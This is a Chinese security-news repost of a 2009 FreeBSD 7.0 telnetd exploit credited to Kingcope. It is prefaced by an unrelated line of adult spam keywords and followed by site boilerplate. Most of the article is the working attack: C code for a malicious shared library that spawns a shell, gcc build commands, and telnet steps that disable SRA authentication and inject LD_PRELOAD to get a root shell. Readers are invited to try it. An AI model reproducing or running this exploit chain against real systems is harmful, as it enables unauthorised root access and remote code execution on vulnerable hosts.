自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

FreeBSD爆0day 遠(yuǎn)程能溢出本地可提權(quán)

原創(chuàng)
安全 漏洞
緩沖區(qū)溢出##遠(yuǎn)程攻擊##立即處理[msg]沒想到現(xiàn)在有人會研究,看到后驚嘆了一下。是telnetd部分的問題,受影響的版本是FreeBSD7.0正式版。有興趣的朋友可以調(diào)試一下。

沒想到現(xiàn)在有人會研究,看到后驚嘆了一下。是telnetd部分的問題,在FreeBSD7.0正式版測試通過,7.1似乎也有同樣問題,但未經(jīng)過測試。有興趣的朋友可以調(diào)試一下,代碼如下:

# FreeBSD telnetd local/remote privilege escalation/code execution
# remote root only when accessible ftp or similar available
# tested on FreeBSD 7.0-RELEASE
# by Kingcope/2009

#include
#include
#include
#include

void _init() {
FILE *f;
setenv("LD_PRELOAD", "", 1);
system("echo ALEX-ALEX;/bin/sh");
}
---snip-----

Then we compile this stuff.

---snip-----
#gcc -o program.o -c program.c -fPIC
#gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o
-nostartfiles
---snip-----

Then we copy the file to a known location (local root exploit)

---snip-----
#cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
---snip-----

...or we upload the library through any other available attack vector.
After that we telnet to the remote or local FreeBSD telnet daemon
with setting the LD_PRELOAD environment variable to the known location
as a telnet option before.

---snip-----
#telnet
/>auth disable SRA
/>environ define LD_PRELOAD /tmp/libno_ex.so.1.0
/>open target
---snip-----
ALEX-ALEX
#ROOTSHELL

【編輯推薦】

  1. FreeBSD未授權(quán)受限進(jìn)程掛接漏洞
  2. FreeBSD Out Of Sequence包遠(yuǎn)程拒絕服務(wù)攻擊漏洞
  3. FreeBSD fetch()整數(shù)溢出遠(yuǎn)程任意指令執(zhí)行漏洞
責(zé)任編輯:王文文 來源: 51CTO.com
相關(guān)推薦

2024-07-31 08:46:10

2009-12-04 19:14:50

2009-05-14 17:28:12

Linuxptrace 0day漏洞

2013-05-24 14:02:42

2016-10-31 23:00:58

MySQLMOF方法提權(quán)數(shù)據(jù)庫安全

2009-05-19 16:45:15

Linux安全漏洞補(bǔ)丁

2011-02-28 09:34:55

2009-12-02 10:28:38

2015-08-31 10:09:34

2010-05-21 09:55:26

2009-07-06 13:15:07

2009-04-24 14:08:25

2009-04-24 14:34:51

2015-05-20 16:34:14

2021-07-27 11:01:02

Windows

2021-04-13 16:40:18

0Day漏洞遠(yuǎn)程代碼

2021-04-26 10:09:11

0Day漏洞Google Chro

2021-10-06 13:48:50

0day漏洞攻擊

2013-05-23 10:48:14

EPATHOBJ 0d0day漏洞

2017-02-07 11:00:26

點贊
收藏

51CTO技術(shù)棧公眾號